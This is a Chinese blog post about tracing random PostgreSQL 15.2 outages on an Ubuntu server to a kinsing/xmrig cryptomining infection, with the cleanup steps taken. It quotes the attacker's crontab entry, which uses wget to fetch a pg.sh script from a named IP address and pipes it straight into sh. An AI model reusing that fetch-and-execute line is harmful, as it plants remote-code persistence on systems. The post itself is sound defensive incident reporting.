xmrig挖矿病毒导致Postgresql数据库掉线

    

新装一台数据库服务器。操作系统为ubuntu20.04,安装了最新版Postgresql,15.2版。使用过程中经常且无规律掉线。花费了4~5天时间,加班加点,最终发现是xmrig挖矿病毒所致。清除病毒后数据库工作正常。

一、故障现象

Postgresql经常且无规律掉线。掉线时状态如下:

$ systemctl status postgres*

× postgresql@15-main.service - PostgreSQL Cluster 15-main

Loaded: loaded (/lib/systemd/system/postgresql@.service; enabled-runtime; vendor preset: enabled)

Active: failed (Result: exit-code) since Fri 2023-04-14 16:49:04 CST; 21min ago

Process: 9032 ExecStart=/usr/bin/pg_ctlcluster --skip-systemctl-redirect 15-main start (code=exited, status=0/SUCCESS)

Process: 9889 ExecStop=/usr/bin/pg_ctlcluster --skip-systemctl-redirect -m fast 15-main stop (code=exited, status=2)

Main PID: 9037 (code=exited, status=0/SUCCESS)

Control process exited, code=exited, status=2/INVALIDARGUMENT

二、排除硬件问题

因是新服务器,首先怀疑硬件问题。但一圈内存、硬盘测试下来,硬件无问题。厂家也保证硬件合格。

二、正常关闭终端

网上有人说:在终端,如Putty中操作过pg。关闭终端,postgresql程序就会退出。需要正常退出所有终端。因此特别注意没有直接关闭Putty窗口,而是用命令exit退出Putty。没有解决问题,Postgresql依旧无规律掉线。

更进一步,为了让Postgresql在关闭终端或者退出账号进程也继续保持运行状态,启用了命令nohup。

    $ sudo nohup systemctl start postgresql

    还是没有解决问题。

三、启用TCP协议的心跳机制

CSDN文章《PG数据库(Postgresql)解决远程易掉线问题》

链接为:PG数据库(Postgresql)解决远程易掉线问题_yanzhaoxun的博客-CSDN博客

指出:一般电信服务商在一个TCP连接没有任何往来数据长达1分钟以上,会自动切断此连接。解决办法也很简单,让PG数据库对连接启用TCP协议的心跳机制,打破沉默,避免被电信服务商误杀。

修改配置文件

$ sudo vim /etc/postgresql/15/main/postgresql.conf

将以下三处的前面#去掉,并且把默认值0换成如下

tcp_keepalives_idle = 20       #20秒主动发心跳

tcp_keepalives_interval = 10   #10秒未收到返回心跳则本心跳失败

tcp_keepalives_count = 3       #连续3次心跳失败则主动断线

然后重启PG数据库即可

$ sudo systemctl restart postgresql

同样没有未解决问题

四、陷入困境

一度怀疑最新版Postgresql15.2有缺陷,准备删除安装14版。考虑到Postgresql为老牌数据库,不可能犯低级错误。在网上转了一圈,没有其他人报告说Postgresql15.2有同样问题。看来不是Postgresql15.2。

服务器上还运行着一个Django工程,部署在gunicorn上。又怀疑是不是gunicorn导致的Postgresql掉线。

五、查看日志,发现问题

网上也没有类似报告,也没有查到解决方案。没有其它办法,只能仔细研究Postgresql日志了。打开日志,逐条观看。

$ vim /var/log/postgresql/postgresql-15-main.log

在日志中看到”c3pool_miner.service”,疑似病毒。

Failed to stop c3pool_miner.service: Interactive authentication required.

See system logs and 'systemctl status c3pool_miner.service' for details.

网上一查,果然是xmrig挖矿病毒。

六、清除xmrig挖矿病毒

发现问题所在,网上很多清除该病毒的方法。

1、top查看

CPU占用不高。奇怪的是,别人报告中了xmrig挖矿病毒,CPU占用很高,因为病毒偷用服务器资源挖矿。我的服务器CPU占用是正常的。这也是迷惑我的地方之一。

找到挖矿程序(kdevtmpfsi)进程号。杀死这些进程。

2、查看定时任务

$ crontab -l

* * * * * wget -q -O - http://185.122.204.197/pg.sh | sh > /dev/null 2>&1

删除定时任务。该定时任务在Postgresql用户postgres名下。

$ crontab -e

$ service cron restart

3、全局搜索pg.sh

$ sudo find / -name pg.sh     //无结果

$ cat /dev/null    //无内容

4、全局搜索crond配置文件

$ sudo find / -name cron* -type d

/var/spool/cron

/var/spool/cron/crontabs

/usr/share/doc/cron

/usr/share/bug/cron

/etc/cron.weekly

/etc/cron.d

/etc/cron.monthly

/etc/cron.daily

/etc/cron.hourly

/snap/core20/1826/etc/cron.d

/snap/core20/1856/etc/cron.d

/sys/fs/cgroup/system.slice/cron.service

    5、删除 /var/spool/cron 中的数据

重启crond服务

$ service crond restart

6、加入ufw黑名单

$ sudo ufw deny from 185.122.204.197/24

Rule added

  7、删除文件

# find / -name kdevtmpfsi    //无结果

# find / -name kinsing       // 结果为:/tmp/kinsing

# rm -rf /tmp/kinsing

   

七、服务器工作正常

清除xmrig挖矿病毒,服务器工作正常。至今已经不间断工作10多天,没有一次掉线。

十、被忽视的网络信息

服务器工作正常了,忽然想起,网上似乎有人回答过这种情况。重新搜索,找出这篇:

Posgresql 12 shuts down randomly

https://askubuntu.com/questions/1382241/postgresql-12-shuts-down-randomly

该信息被忽视是因为只有一个回答,且回答只有一句话:

1 Answer

Kinsing miner was the reason... After cleaning cron and malwares the problem is gone.

浏览到此,没有在意就跳过了。如果阅读一下这名话,可以省下4、5天加班加点。这也是教训之一。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
PostgreSQL是一种开源的关系型数据库管理系统,它具有可扩展性、稳定性和安全性等特点。下面是关于PostgreSQL数据库安装的介绍: 1. 下载安装包:首先,你需要从PostgreSQL官方网站(https://www.postgresql.org)下载适合你操作系统的安装包。 2. 安装过程:运行下载的安装包,按照提示进行安装。在安装过程中,你可以选择安装路径、设置管理员密码等。 3. 初始化数据库:安装完成后,需要初始化数据库。在Windows系统中,可以通过开始菜单中的“SQL Shell”打开命令行界面。在Linux或Mac系统中,可以通过终端访问命令行界面。在命令行界面中,输入以下命令初始化数据库: ``` initdb -D /path/to/data/directory ``` 其中,`/path/to/data/directory`是你指定的数据库存储路径。 4. 启动数据库:初始化完成后,可以启动数据库服务。在Windows系统中,可以通过开始菜单中的“pgAdmin”打开图形界面管理工具,并启动数据库服务。在Linux或Mac系统中,可以使用以下命令启动数据库: ``` pg_ctl -D /path/to/data/directory start ``` 5. 连接数据库:启动数据库后,可以使用命令行工具或图形界面工具连接到数据库。在命令行界面中,可以使用以下命令连接到数据库: ``` psql -U username -d database_name ``` 其中,`username`是数据库管理员用户名,`database_name`是要连接的数据库名称。 6. 创建和管理数据库:连接到数据库后,可以使用SQL语句创建和管理数据库。例如,可以使用以下命令创建一个新的数据库: ``` CREATE DATABASE database_name; ``` 以上是关于PostgreSQL数据库安装的简要介绍。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值